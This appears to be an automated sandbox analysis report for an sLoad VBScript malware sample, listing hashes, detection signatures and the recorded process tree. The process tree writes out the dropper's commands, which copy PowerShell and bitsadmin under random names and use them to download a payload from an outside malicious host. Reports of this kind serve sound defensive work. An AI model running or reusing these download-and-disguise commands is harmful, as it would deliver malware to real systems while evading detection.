Analysis

  • max time kernel
    31s
  • max time network
    65s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    23-11-2020 13:04

General

  • Target

    Allegato_Sload_Italy_vbs (27).vbs

  • Size

    7KB

  • MD5

    9cab983254fb7916cb169b0736919007

  • SHA1

    ed7fc56e371795f3cd30ae5320a209719b17700c

  • SHA256

    900aaef2390d44e3cf2950ac49d8d44a79c5ba18c683a8a5d25638641e247daa

  • SHA512

    3fa3c26dc478a13621115003d0f7107f4875105f09259c6dd247431b1c8ed9d143e8a44078c89c3fb40de76c6eb326d1f0937c8b2887859811be4d67b1db4419

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (27).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zOygKO.exe
        3⤵
          PID:2820
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\QZrexYg*.exe
          3⤵
            PID:3764
        • C:\ProgramData\QZrexYgin.exe
          "C:\ProgramData\QZrexYgin.exe" /transfer QGXCAd /download https://fhivelifestyle.online/lidepato/03339980793/1x1.gif C:\Users\Admin\AppData\Roaming\1x1.gif
          2⤵
          • Executes dropped EXE
          PID:3724

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\ProgramData\QZrexYgin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\QZrexYgin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/2284-0-0x0000000000000000-mapping.dmp

      • memory/2820-1-0x0000000000000000-mapping.dmp

      • memory/3724-4-0x0000000000000000-mapping.dmp

      • memory/3764-2-0x0000000000000000-mapping.dmp